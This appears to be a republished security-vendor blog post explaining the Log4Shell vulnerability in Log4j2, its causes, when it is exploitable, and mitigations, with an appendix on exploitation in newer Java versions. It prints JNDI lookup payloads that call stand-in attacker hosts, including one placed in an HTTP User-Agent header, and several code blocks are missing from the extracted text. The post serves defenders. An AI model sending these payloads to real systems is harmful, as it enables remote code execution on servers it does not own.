Here’s Everything To Know About The 0-Day Log4Shell Vulnerability

Here's Everything To Know About The 0-Day Log4Shell Vulnerability

Last Thursday, a researcher from the Alibaba Cloud Security Team dropped a zero-day remote code execution exploit on Twitter, targeting the extremely popular log4j logging framework for Java (specifically, the 2.x branch called Log4j2). The vulnerability was originally discovered and reported to Apache by the Alibaba cloud security team on November 24th. MITRE assigned CVE-2021-44228 to this vulnerability, which has since been dubbed Log4Shell by security researchers.

Since Thursday, the vulnerability has been reported to be massively exploited in the wild, due to the fact that it is trivially exploitable (weaponized PoCs are available publicly) and extremely popular, and got a wide coverage on media and social networks.

In this technical blog post, we will clarify the exploitation vectors for this issue, provide accurate research-backed novel information on exactly what is vulnerable (as some reports have been inaccurate), suggest remediations for vendors that cannot easily upgrade their log4j version and answer some burning questions that we’ve been asked on this vulnerability (such as the efficacy of some suggested mitigations floating around in the last couple of days).

What causes the Log4Shell vulnerability?

Log4j2 supports by default a logging feature called “Message Lookup Substitution”. This feature enables certain special strings to be replaced, at the time of logging, by other dynamically-generated strings. For example, logging the string Running ${java:runtime} will yield an output similar to: 

Running Java version 1.7.0_67

It has been discovered that one of the lookup methods, specifically the JNDI lookup paired with the LDAP protocol, will fetch a specified Java class from a remote source and deserialize it, executing some of the class’s code in the process.

This means that if any part of a logged string can be controlled by a remote attacker, the remote attacker gains remote code execution on the application that logged the string.

The most common substitution string that takes advantage of this issue will look similar to:

${jndi:ldap://somedomain.com}

Note that the following protocols may also be used for exploiting this issue (some of them may not be available by default) –

${jndi:ldaps://somedomain.com}

${jndi:rmi://somedomain.com}

${jndi:dns://somedomain.com} (Allows detecting vulnerable servers, does not lead to code execution.)

Additional exploit strings that try to bypass WAF solutions can be found here.

The basic attack flow can be summarized by the following diagram:

Why is Log4Shell so dangerous?

The vulnerability, which received the highest CVSS score possible – 10.0 – is extremely dangerous due to a number of factors:

GET / HTTP/1.1

User-Agent: ${jndi:ldap://attacker-srv.com/foo}

Or alternatively, a specific webapp can be brute-forced by filling all available HTML input fields with the payload string, using automated tools such as XSStrike.

4. Although the vulnerability is context-dependent, since arbitrary user input must reach one of the Log4j2 logging functions (see next section), this scenario is extremely common. In most logging scenarios, part of the log message contains input from the user. Such input is rarely sanitized since it is considered to be extremely safe.

When exactly is the vulnerability exploitable?

All of the following conditions must apply in order for a specific Java application to be vulnerable:

This is due to the fact that later versions set the JVM property com.sun.jndi.ldap.object.trustURLCodebase to false by default, which disables JNDI loading of classes from arbitrary URL code bases.
Note that relying only on a new Java version as protection against this issue is risky, since the issue may still be exploited on machines that contain certain “gadget” class files locally. See Appendix B – “Exploiting Log4Shell in newer Java versions.”

Note that some advisories claimed the Maven package log4j-api was vulnerable to this issue. JFrog’s security research team looked into this claim and concluded that log4j-api (by itself) is not vulnerable. This is due to the lack of JndiLookup functionality, and can be easily seen by trying to trigger the vulnerable code. 

Running this code with only log4j-api installed yielded the following output:

ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...

When running the same code with the SimpleLogger class, the lookup string is logged verbatim, but no lookup code is triggered (since it does not exist.)

How can I completely fix the issue?

The best fix for this issue would be to upgrade your log4j dependencies to version 2.15.0, which resolved the issue in several layers and improved the overall security of log4j.

As an additional layer of protection, we also recommend setting the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable globally (see next section). 

Can I mitigate the issue without upgrading?

Although we recommend fixing the issue completely by upgrading the log4j version to a fixed version, it is possible to completely mitigate the issue without upgrading:

Method 1: For log4j 2.10.0 and later versions – Disabling lookups:

If using log4j 2.10.0 or any later version, we recommend disabling message lookups globally by setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true by executing this command before Java applications are loaded in one of the system’s init scripts:

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

This can also be done system-wide by editing the /etc/environment file and adding:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

This method can be used as an additional protection layer in case you suspect not all log4j dependencies have been properly updated, and even to protect against third-party Java packages that depend/embed a vulnerable version of log4j and have not been properly patched yet.

Alternatively, lookups can be disabled for a specific invocation of the JVM by adding the following command-line flag when running the vulnerable Java application: ‐Dlog4j2.formatMsgNoLookups=True

For example –

java ‐Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar

Method 2 – For older log4j versions: removing the vulnerable class

When using an older log4j version than 2.10.0, it is possible to remove the JndiLookup class from any Java applications by executing this command:

This will recursively find all log4j-core JAR files, starting from the current directory, and remove the vulnerable JndiLookup class from them. For full coverage, the command may be executed from the root directory of your project or server.

Note: This method is recommended only as a last resort since it is possible that the vulnerable JndiLookup class is embedded in recursive JAR files or in locations that the zip command is not accessible to. When choosing this method, it is highly recommended to verify manually that no JndiLookup classes are available to any Java application.

How can I use JFrog Xray to detect the vulnerability?

Xray customers can scan artifacts as usual for detecting CVE-2021-44228. As always this can be done through CI/CD. 

The JFrog CLI:

Or the JFrog IDE plugin:

Are JFrog products vulnerable?

It’s important to note that JFrog Security has validated that JFrog Platform solutions themselves are not affected, as no products, including Artifactory, Xray, Distribution, Insight, Access or Mission Control, are using the log4j-core package. 

Appendix A – Vulnerable Example

Example application that will be vulnerable to remote exploitation (from LunaSec’s advisory):

 

Appendix B – Exploiting Log4Shell in newer Java versions

Method 1 – Abusing other message lookups

Although JNDI remote class loading is disabled in newer Java versions, the message lookup mechanism itself still works, and can be abused for various purposes:

Method 2 – Abusing factory classes in the local classpath

As thoroughly explained in this Veracode blog post, there are ways to exploit JNDI injections even on newer versions of Java, where remote deserializations are disabled.

For example, if the org.apache.naming.factory.BeanFactory class (which is usually shipped with Apache Tomcat servers) is available in the classpath of the vulnerable application that uses log4j, then the Log4Shell vulnerability can be exploited for remote code execution, regardless of the underlying JRE/JDK version.

This is due to the fact that even though newer versions of Java will not deserialize remote arbitrary classes, the attacker can still control the factory class and its attributes, through the supplied JNDI Reference:

The remote attacker cannot supply an arbitrary factory class, but can reuse any factory class in the vulnerable program’s classpath as a gadget.

A useable factory class would have the following properties: 

The researchers identified that the BeanFactory class fits this bill, due to its dangerous use of Reflection – Arbitrary Java code objects are created, based solely on the Reference’s string attributes, which are attacker controlled.

The blog references full exploit code for hosting an RMI server with the proper Reference that can be used to exploit Log4Shell in newer Java versions, on machines where the BeanFactory class is available in the vulnerable application’s classpath.

Note that the Log4Shell attack string for using such a server will be similar to –

${jndi:rmi://attacker-srv.com/foo}

However, the provided RMI server can also be converted to a ldap or ldaps server, in which case the attack string will change accordingly.

Since other “factory gadgets” such as the BeanFactory class may be found in the future, we highly suggest not relying on a newer Java version as the only line of defense against Log4Shell, and upgrading log4j and/or implementing some of our proposed mitigations.

This content was originally published here.

Laat een reactie achter

Het e-mailadres wordt niet gepubliceerd.